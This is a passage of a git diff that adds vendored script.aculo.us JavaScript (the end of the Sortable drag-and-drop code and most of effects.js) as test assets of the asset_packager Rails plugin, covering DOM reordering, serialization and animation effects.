element)) return; + + if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) { + return; + } else if(overlap>0.5) { + Sortable.mark(dropon, 'before'); + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } else { + Sortable.mark(dropon, 'after'); + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } + }, + + onEmptyHover: function(element, dropon, overlap) { + var oldParentNode = element.parentNode; + var droponOptions = Sortable.options(dropon); + + if(!Element.isParent(dropon, element)) { + var index; + + var children = Sortable.findElements(dropon, {tag: droponOptions.tag}); + var child = null; + + if(children) { + var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap); + + for (index = 0; index < children.length; index += 1) { + if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) { + offset -= Element.offsetSize (children[index], droponOptions.overlap); + } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) { + child = index + 1 < children.length ? children[index + 1] : null; + break; + } else { + child = children[index]; + break; + } + } + } + + dropon.insertBefore(element, child); + + Sortable.options(oldParentNode).onChange(element); + droponOptions.onChange(element); + } + }, + + unmark: function() { + if(Sortable._marker) Element.hide(Sortable._marker); + }, + + mark: function(dropon, position) { + // mark on ghosting only + var sortable = Sortable.options(dropon.parentNode); + if(sortable && !sortable.ghosting) return; + + if(!Sortable._marker) { + Sortable._marker = $('dropmarker') || document.createElement('DIV'); + Element.hide(Sortable._marker); + Element.addClassName(Sortable._marker, 'dropmarker'); + Sortable._marker.style.position = 'absolute'; + document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); + } + var offsets = Position.cumulativeOffset(dropon); + Sortable._marker.style.left = offsets[0] + 'px'; + Sortable._marker.style.top = offsets[1] + 'px'; + + if(position=='after') + if(sortable.overlap == 'horizontal') + Sortable._marker.style.left = (offsets[0]+dropon.clientWidth) + 'px'; + else + Sortable._marker.style.top = (offsets[1]+dropon.clientHeight) + 'px'; + + Element.show(Sortable._marker); + }, + + _tree: function(element, options, parent) { + var children = Sortable.findElements(element, options) || []; + + for (var i = 0; i < children.length; ++i) { + var match = children[i].id.match(options.format); + + if (!match) continue; + + var child = { + id: encodeURIComponent(match ? match[1] : null), + element: element, + parent: parent, + children: new Array, + position: parent.children.length, + container: Sortable._findChildrenElement(children[i], options.treeTag.toUpperCase()) + } + + /* Get the element containing the children and recurse over it */ + if (child.container) + this._tree(child.container, options, child) + + parent.children.push (child); + } + + return parent; + }, + + /* Finds the first element of the given tag type within a parent element. + Used for finding the first LI[ST] within a L[IST]I[TEM].*/ + _findChildrenElement: function (element, containerTag) { + if (element && element.hasChildNodes) + for (var i = 0; i < element.childNodes.length; ++i) + if (element.childNodes[i].tagName == containerTag) + return element.childNodes[i]; + + return null; + }, + + tree: function(element) { + element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + treeTag: sortableOptions.treeTag, + only: sortableOptions.only, + name: element.id, + format: sortableOptions.format + }, arguments[1] || {}); + + var root = { + id: null, + parent: null, + children: new Array, + container: element, + position: 0 + } + + return Sortable._tree (element, options, root); + }, + + /* Construct a [i] index for a particular node */ + _constructIndex: function(node) { + var index = ''; + do { + if (node.id) index = '[' + node.position + ']' + index; + } while ((node = node.parent) != null); + return index; + }, + + sequence: function(element) { + element = $(element); + var options = Object.extend(this.options(element), arguments[1] || {}); + + return $(this.findElements(element, options) || []).map( function(item) { + return item.id.match(options.format) ? item.id.match(options.format)[1] : ''; + }); + }, + + setSequence: function(element, new_sequence) { + element = $(element); + var options = Object.extend(this.options(element), arguments[2] || {}); + + var nodeMap = {}; + this.findElements(element, options).each( function(n) { + if (n.id.match(options.format)) + nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode]; + n.parentNode.removeChild(n); + }); + + new_sequence.each(function(ident) { + var n = nodeMap[ident]; + if (n) { + n[1].appendChild(n[0]); + delete nodeMap[ident]; + } + }); + }, + + serialize: function(element) { + element = $(element); + var options = Object.extend(Sortable.options(element), arguments[1] || {}); + var name = encodeURIComponent( + (arguments[1] && arguments[1].name) ? arguments[1].name : element.id); + + if (options.tree) { + return Sortable.tree(element, arguments[1]).children.map( function (item) { + return [name + Sortable._constructIndex(item) + "=" + + encodeURIComponent(item.id)].concat(item.children.map(arguments.callee)); + }).flatten().join('&'); + } else { + return Sortable.sequence(element, arguments[1]).map( function(item) { + return name + "[]=" + encodeURIComponent(item); + }).join('&'); + } + } +} + +/* Returns true if child is contained within element */ +Element.isParent = function(child, element) { + if (!child.parentNode || child == element) return false; + + if (child.parentNode == element) return true; + + return Element.isParent(child.parentNode, element); +} + +Element.findChildren = function(element, only, recursive, tagName) { + if(!element.hasChildNodes()) return null; + tagName = tagName.toUpperCase(); + if(only) only = [only].flatten(); + var elements = []; + $A(element.childNodes).each( function(e) { + if(e.tagName && e.tagName.toUpperCase()==tagName && + (!only || (Element.classNames(e).detect(function(v) { return only.include(v) })))) + elements.push(e); + if(recursive) { + var grandchildren = Element.findChildren(e, only, recursive, tagName); + if(grandchildren) elements.push(grandchildren); + } + }); + + return (elements.length>0 ? elements.flatten() : []); +} + +Element.offsetSize = function (element, type) { + if (type == 'vertical' || type == 'height') + return element.offsetHeight; + else + return element.offsetWidth; +} \ No newline at end of file diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/effects.js b/vendor/plugins/asset_packager/test/assets/javascripts/effects.js new file mode 100644 index 0000000..9274005 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/effects.js @@ -0,0 +1,958 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// Contributors: +// Justin Palmer (http://encytemedia.com/) +// Mark Pilgrim (http://diveintomark.org/) +// Martin Bialasinki +// +// See scriptaculous.js for full license. + +// converts rgb() and #xxx to #xxxxxx format, +// returns self (or first argument) if not convertable +String.prototype.parseColor = function() { + var color = '#'; + if(this.slice(0,4) == 'rgb(') { + var cols = this.slice(4,this.length-1).split(','); + var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); + } else { + if(this.slice(0,1) == '#') { + if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); + if(this.length==7) color = this.toLowerCase(); + } + } + return(color.length==7 ? color : (arguments[0] || this)); +} + +/*--------------------------------------------------------------------------*/ + +Element.collectTextNodes = function(element) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + (node.hasChildNodes() ? Element.collectTextNodes(node) : '')); + }).flatten().join(''); +} + +Element.collectTextNodesIgnoreClass = function(element, className) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? + Element.collectTextNodesIgnoreClass(node, className) : '')); + }).flatten().join(''); +} + +Element.setContentZoom = function(element, percent) { + element = $(element); + Element.setStyle(element, {fontSize: (percent/100) + 'em'}); + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); +} + +Element.getOpacity = function(element){ + var opacity; + if (opacity = Element.getStyle(element, 'opacity')) + return parseFloat(opacity); + if (opacity = (Element.getStyle(element, 'filter') || '').match(/alpha\(opacity=(.*)\)/)) + if(opacity[1]) return parseFloat(opacity[1]) / 100; + return 1.0; +} + +Element.setOpacity = function(element, value){ + element= $(element); + if (value == 1){ + Element.setStyle(element, { opacity: + (/Gecko/.test(navigator.userAgent) && !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? + 0.999999 : null }); + if(/MSIE/.test(navigator.userAgent)) + Element.setStyle(element, {filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'')}); + } else { + if(value < 0.00001) value = 0; + Element.setStyle(element, {opacity: value}); + if(/MSIE/.test(navigator.userAgent)) + Element.setStyle(element, + { filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'') + + 'alpha(opacity='+value*100+')' }); + } +} + +Element.getInlineOpacity = function(element){ + return $(element).style.opacity || ''; +} + +Element.childrenWithClassName = function(element, className, findFirst) { + var classNameRegExp = new RegExp("(^|\\s)" + className + "(\\s|$)"); + var results = $A($(element).getElementsByTagName('*'))[findFirst ? 'detect' : 'select']( function(c) { + return (c.className && c.className.match(classNameRegExp)); + }); + if(!results) results = []; + return results; +} + +Element.forceRerendering = function(element) { + try { + element = $(element); + var n = document.createTextNode(' '); + element.appendChild(n); + element.removeChild(n); + } catch(e) { } +}; + +/*--------------------------------------------------------------------------*/ + +Array.prototype.call = function() { + var args = arguments; + this.each(function(f){ f.apply(this, args) }); +} + +/*--------------------------------------------------------------------------*/ + +var Effect = { + tagifyText: function(element) { + var tagifyStyle = 'position:relative'; + if(/MSIE/.test(navigator.userAgent)) tagifyStyle += ';zoom:1'; + element = $(element); + $A(element.childNodes).each( function(child) { + if(child.nodeType==3) { + child.nodeValue.toArray().each( function(character) { + element.insertBefore( + Builder.node('span',{style: tagifyStyle}, + character == ' ' ? String.fromCharCode(160) : character), + child); + }); + Element.remove(child); + } + }); + }, + multiple: function(element, effect) { + var elements; + if(((typeof element == 'object') || + (typeof element == 'function')) && + (element.length)) + elements = element; + else + elements = $(element).childNodes; + + var options = Object.extend({ + speed: 0.1, + delay: 0.0 + }, arguments[2] || {}); + var masterDelay = options.delay; + + $A(elements).each( function(element, index) { + new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay })); + }); + }, + PAIRS: { + 'slide': ['SlideDown','SlideUp'], + 'blind': ['BlindDown','BlindUp'], + 'appear': ['Appear','Fade'] + }, + toggle: function(element, effect) { + element = $(element); + effect = (effect || 'appear').toLowerCase(); + var options = Object.extend({ + queue: { position:'end', scope:(element.id || 'global'), limit: 1 } + }, arguments[2] || {}); + Effect[element.visible() ? + Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options); + } +}; + +var Effect2 = Effect; // deprecated + +/* ------------- transitions ------------- */ + +Effect.Transitions = {} + +Effect.Transitions.linear = function(pos) { + return pos; +} +Effect.Transitions.sinoidal = function(pos) { + return (-Math.cos(pos*Math.PI)/2) + 0.5; +} +Effect.Transitions.reverse = function(pos) { + return 1-pos; +} +Effect.Transitions.flicker = function(pos) { + return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; +} +Effect.Transitions.wobble = function(pos) { + return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; +} +Effect.Transitions.pulse = function(pos) { + return (Math.floor(pos*10) % 2 == 0 ? + (pos*10-Math.floor(pos*10)) : 1-(pos*10-Math.floor(pos*10))); +} +Effect.Transitions.none = function(pos) { + return 0; +} +Effect.Transitions.full = function(pos) { + return 1; +} + +/* ------------- core effects ------------- */ + +Effect.ScopedQueue = Class.create(); +Object.extend(Object.extend(Effect.ScopedQueue.prototype, Enumerable), { + initialize: function() { + this.effects = []; + this.interval = null; + }, + _each: function(iterator) { + this.effects._each(iterator); + }, + add: function(effect) { + var timestamp = new Date().getTime(); + + var position = (typeof effect.options.queue == 'string') ? + effect.options.queue : effect.options.queue.position; + + switch(position) { + case 'front': + // move unstarted effects after this effect + this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { + e.startOn += effect.finishOn; + e.finishOn += effect.finishOn; + }); + break; + case 'end': + // start effect after last queued effect has finished + timestamp = this.effects.pluck('finishOn').max() || timestamp; + break; + } + + effect.startOn += timestamp; + effect.finishOn += timestamp; + + if(!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) + this.effects.push(effect); + + if(!this.interval) + this.interval = setInterval(this.loop.bind(this), 40); + }, + remove: function(effect) { + this.effects = this.effects.reject(function(e) { return e==effect }); + if(this.effects.length == 0) { + clearInterval(this.interval); + this.interval = null; + } + }, + loop: function() { + var timePos = new Date().getTime(); + this.effects.invoke('loop', timePos); + } +}); + +Effect.Queues = { + instances: $H(), + get: function(queueName) { + if(typeof queueName != 'string') return queueName; + + if(!this.instances[queueName]) + this.instances[queueName] = new Effect.ScopedQueue(); + + return this.instances[queueName]; + } +} +Effect.Queue = Effect.Queues.get('global'); + +Effect.DefaultOptions = { + transition: Effect.Transitions.sinoidal, + duration: 1.0, // seconds + fps: 25.0, // max. 25fps due to Effect.Queue implementation + sync: false, // true for combining + from: 0.0, + to: 1.0, + delay: 0.0, + queue: 'parallel' +} + +Effect.Base = function() {}; +Effect.Base.prototype = { + position: null, + start: function(options) { + this.options = Object.extend(Object.extend({},Effect.DefaultOptions), options || {}); + this.currentFrame = 0; + this.state = 'idle'; + this.startOn = this.options.delay*1000; + this.finishOn = this.startOn + (this.options.duration*1000); + this.event('beforeStart'); + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).add(this); + }, + loop: function(timePos) { + if(timePos >= this.startOn) { + if(timePos >= this.finishOn) { + this.render(1.0); + this.cancel(); + this.event('beforeFinish'); + if(this.finish) this.finish(); + this.event('afterFinish'); + return; + } + var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); + var frame = Math.round(pos * this.options.fps * this.options.duration); + if(frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + } + }, + render: function(pos) { + if(this.state == 'idle') { + this.state = 'running'; + this.event('beforeSetup'); + if(this.setup) this.setup(); + this.event('afterSetup'); + } + if(this.state == 'running') { + if(this.options.transition) pos = this.options.transition(pos); + pos *= (this.options.to-this.options.from); + pos += this.options.from; + this.position = pos; + this.event('beforeUpdate'); + if(this.update) this.update(pos); + this.event('afterUpdate'); + } + }, + cancel: function() { + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).remove(this); + this.state = 'finished'; + }, + event: function(eventName) { + if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); + if(this.options[eventName]) this.options[eventName](this); + }, + inspect: function() { + return '#'; + } +} + +Effect.Parallel = Class.create(); +Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + this.effects.invoke('render', position); + }, + finish: function(position) { + this.effects.each( function(effect) { + effect.render(1.0); + effect.cancel(); + effect.event('beforeFinish'); + if(effect.finish) effect.finish(position); + effect.event('afterFinish'); + }); + } +}); + +Effect.Opacity = Class.create(); +Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + // make this work on IE on elements without 'layout' + if(/MSIE/.test(navigator.userAgent) && (!this.element.hasLayout)) + this.element.setStyle({zoom: 1}); + var options = Object.extend({ + from: this.element.getOpacity() || 0.0, + to: 1.0 + }, arguments[1] || {}); + this.start(options); + }, + update: function(position) { + this.element.setOpacity(position); + } +}); + +Effect.Move = Class.create(); +Object.extend(Object.extend(Effect.Move.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + var options = Object.extend({ + x: 0, + y: 0, + mode: 'relative' + }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Bug in Opera: Opera returns the "real" position of a static element or + // relative element that does not have top/left explicitly set. + // ==> Always set top and left for position relative elements in your stylesheets + // (to 0 if you do not need them) + this.element.makePositioned(); + this.originalLeft = parseFloat(this.element.getStyle('left') || '0'); + this.originalTop = parseFloat(this.element.getStyle('top') || '0'); + if(this.options.mode == 'absolute') { + // absolute movement, so we need to calc deltaX and deltaY + this.options.x = this.options.x - this.originalLeft; + this.options.y = this.options.y - this.originalTop; + } + }, + update: function(position) { + this.element.setStyle({ + left: this.options.x * position + this.originalLeft + 'px', + top: this.options.y * position + this.originalTop + 'px' + }); + } +}); + +// for backwards compatibility +Effect.MoveBy = function(element, toTop, toLeft) { + return new Effect.Move(element, + Object.extend({ x: toLeft, y: toTop }, arguments[3] || {})); +}; + +Effect.Scale = Class.create(); +Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { + initialize: function(element, percent) { + this.element = $(element) + var options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or {} with provided values + scaleFrom: 100.0, + scaleTo: percent + }, arguments[2] || {}); + this.start(options); + }, + setup: function() { + this.restoreAfterFinish = this.options.restoreAfterFinish || false; + this.elementPositioning = this.element.getStyle('position'); + + this.originalStyle = {}; + ['top','left','width','height','fontSize'].each( function(k) { + this.originalStyle[k] = this.element.style[k]; + }.bind(this)); + + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + + var fontSize = this.element.getStyle('font-size') || '100%'; + ['em','px','%'].each( function(fontSizeType) { + if(fontSize.indexOf(fontSizeType)>0) { + this.fontSize = parseFloat(fontSize); + this.fontSizeType = fontSizeType; + } + }.bind(this)); + + this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; + + this.dims = null; + if(this.options.scaleMode=='box') + this.dims = [this.element.offsetHeight, this.element.offsetWidth]; + if(/^content/.test(this.options.scaleMode)) + this.dims = [this.element.scrollHeight, this.element.scrollWidth]; + if(!this.dims) + this.dims = [this.options.scaleMode.originalHeight, + this.options.scaleMode.originalWidth]; + }, + update: function(position) { + var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if(this.options.scaleContent && this.fontSize) + this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType }); + this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); + }, + finish: function(position) { + if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle); + }, + setDimensions: function(height, width) { + var d = {}; + if(this.options.scaleX) d.width = width + 'px'; + if(this.options.scaleY) d.height = height + 'px'; + if(this.options.scaleFromCenter) { + var topd = (height - this.dims[0])/2; + var leftd = (width - this.dims[1])/2; + if(this.elementPositioning == 'absolute') { + if(this.options.scaleY) d.top = this.originalTop-topd + 'px'; + if(this.options.scaleX) d.left = this.originalLeft-leftd + 'px'; + } else { + if(this.options.scaleY) d.top = -topd + 'px'; + if(this.options.scaleX) d.left = -leftd + 'px'; + } + } + this.element.setStyle(d); + } +}); + +Effect.Highlight = Class.create(); +Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Prevent executing on elements not in the layout flow + if(this.element.getStyle('display')=='none') { this.cancel(); return; } + // Disable background image during the effect + this.oldStyle = { + backgroundImage: this.element.getStyle('background-image') }; + this.element.setStyle({backgroundImage: 'none'}); + if(!this.options.endcolor) + this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff'); + if(!this.options.restorecolor) + this.options.restorecolor = this.element.getStyle('background-color'); + // init color calculations + this._base = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this)); + this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this)); + }, + update: function(position) { + this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){ + return m+(Math.round(this._base[i]+(this._delta[i]*position)).toColorPart()); }.bind(this)) }); + }, + finish: function() { + this.element.setStyle(Object.extend(this.oldStyle, { + backgroundColor: this.options.restorecolor + })); + } +}); + +Effect.ScrollTo = Class.create(); +Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + this.start(arguments[1] || {}); + }, + setup: function() { + Position.prepare(); + var offsets = Position.cumulativeOffset(this.element); + if(this.options.offset) offsets[1] += this.options.offset; + var max = window.innerHeight ? + window.height - window.innerHeight : + document.body.scrollHeight - + (document.documentElement.clientHeight ? + document.documentElement.clientHeight : document.body.clientHeight); + this.scrollStart = Position.deltaY; + this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; + }, + update: function(position) { + Position.prepare(); + window.scrollTo(Position.deltaX, + this.scrollStart + (position*this.delta)); + } +}); + +/* ------------- combination effects ------------- */ + +Effect.Fade = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + var options = Object.extend({ + from: element.getOpacity() || 1.0, + to: 0.0, + afterFinishInternal: function(effect) { + if(effect.options.to!=0) return; + effect.element.hide(); + effect.element.setStyle({opacity: oldOpacity}); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Appear = function(element) { + element = $(element); + var options = Object.extend({ + from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0), + to: 1.0, + // force Safari to render floated elements properly + afterFinishInternal: function(effect) { + effect.element.forceRerendering(); + }, + beforeSetup: function(effect) { + effect.element.setOpacity(effect.options.from); + effect.element.show(); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Puff = function(element) { + element = $(element); + var oldStyle = { opacity: element.getInlineOpacity(), position: element.getStyle('position') }; + return new Effect.Parallel( + [ new Effect.Scale(element, 200, + { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], + Object.extend({ duration: 1.0, + beforeSetupInternal: function(effect) { + effect.effects[0].element.setStyle({position: 'absolute'}); }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide(); + effect.effects[0].element.setStyle(oldStyle); } + }, arguments[1] || {}) + ); +} + +Effect.BlindUp = function(element) { + element = $(element); + element.makeClipping(); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + restoreAfterFinish: true, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + } + }, arguments[1] || {}) + ); +} + +Effect.BlindDown = function(element) { + element = $(element); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, + Object.extend({ scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makeClipping(); + effect.element.setStyle({height: '0px'}); + effect.element.show(); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + } + }, arguments[1] || {}) + ); +} + +Effect.SwitchOff = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + return new Effect.Appear(element, { + duration: 0.4, + from: 0, + transition: Effect.Transitions.flicker, + afterFinishInternal: function(effect) { + new Effect.Scale(effect.element, 1, { + duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makePositioned(); + effect.element.makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + effect.element.undoPositioned(); + effect.element.setStyle({opacity: oldOpacity}); + } + }) + } + }); +} + +Effect.DropOut = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left'), + opacity: element.getInlineOpacity() }; + return new Effect.Parallel( + [ new Effect.Move(element, {x: 0, y: 100, sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 }) ], + Object.extend( + { duration: 0.5, + beforeSetup: function(effect) { + effect.effects[0].element.makePositioned(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide(); + effect.effects[0].element.undoPositioned(); + effect.effects[0].element.setStyle(oldStyle); + } + }, arguments[1] || {})); +} + +Effect.Shake = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left') }; + return new Effect.Move(element, + { x: 20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + effect.element.undoPositioned(); + effect.element.setStyle(oldStyle); + }}) }}) }}) }}) }}) }}); +} + +Effect.SlideDown = function(element) { + element = $(element); + element.cleanWhitespace(); + // SlideDown need to have the content of the element wrapped in a container element with fixed height! + var oldInnerBottom = $(element.firstChild).getStyle('bottom'); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makePositioned(); + effect.element.firstChild.makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping(); + effect.element.setStyle({height: '0px'}); + effect.element.show(); }, + afterUpdateInternal: function(effect) { + effect.element.firstChild.setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + // IE will crash if child is undoPositioned first + if(/MSIE/.test(navigator.userAgent)){ + effect.element.undoPositioned(); + effect.element.firstChild.undoPositioned(); + }else{ + effect.element.firstChild.undoPositioned(); + effect.element.undoPositioned(); + } + effect.element.firstChild.setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || {}) + ); +} + +Effect.SlideUp = function(element) { + element = $(element); + element.cleanWhitespace(); + var oldInnerBottom = $(element.firstChild).getStyle('bottom'); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'box', + scaleFrom: 100, + restoreAfterFinish: true, + beforeStartInternal: function(effect) { + effect.element.makePositioned(); + effect.element.firstChild.makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping(); + effect.element.show(); }, + afterUpdateInternal: function(effect) { + effect.element.firstChild.setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); }, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + effect.element.firstChild.undoPositioned(); + effect.element.undoPositioned(); + effect.element.setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || {}) + ); +} + +// Bug in opera makes the TD containing this element expand for a instance after finish +Effect.Squish = function(element) { + return new Effect.Scale(element, window.opera ? 1 : 0, + { restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makeClipping(effect.element); }, + afterFinishInternal: function(effect) { + effect.element.hide(effect.element); + effect.element.undoClipping(effect.element); } + }); +} + +Effect.Grow = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.full + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = dims.width; + initialMoveY = moveY = 0; + moveX = -dims.width; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = dims.height; + moveY = -dims.height; + break; + case 'bottom-right': + initialMoveX = dims.width; + initialMoveY = dims.height; + moveX = -dims.width; + moveY = -dims.height; + break; + case 'center': + initialMoveX = dims.width / 2; + initialMoveY = dims.height / 2; + moveX = -dims.width / 2; + moveY = -dims.height / 2; + break; + } + + return new Effect.Move(element, { + x: initialMoveX, + y: initialMoveY, + duration: 0.01, + beforeSetup: function(effect) { + effect.element.hide(); + effect.element.makeClipping(); + effect.element.makePositioned(); + }, + afterFinishInternal: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }), + new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }), + new Effect.Scale(effect.element, 100, { + scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, + sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true}) + ], Object.extend({ + beforeSetup: function(effect) { + effect.effects[0].element.setStyle({height: '0px'}); + effect.effects[0].element.show(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.undoClipping(); + effect.effects[0].element.undoPositioned(); + effect.effects[0].element.setStyle(oldStyle); + } + }, options) + ) + } + }); +} + +Effect.Shrink = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.none + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = dims.width; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = dims.height; + break; + case 'bottom-right': + moveX = dims.width; + moveY = dims.height; + break; + case 'center': + moveX = dims.width / 2; + moveY = dims.height / 2; + break; + } + + return new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }), + new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}), 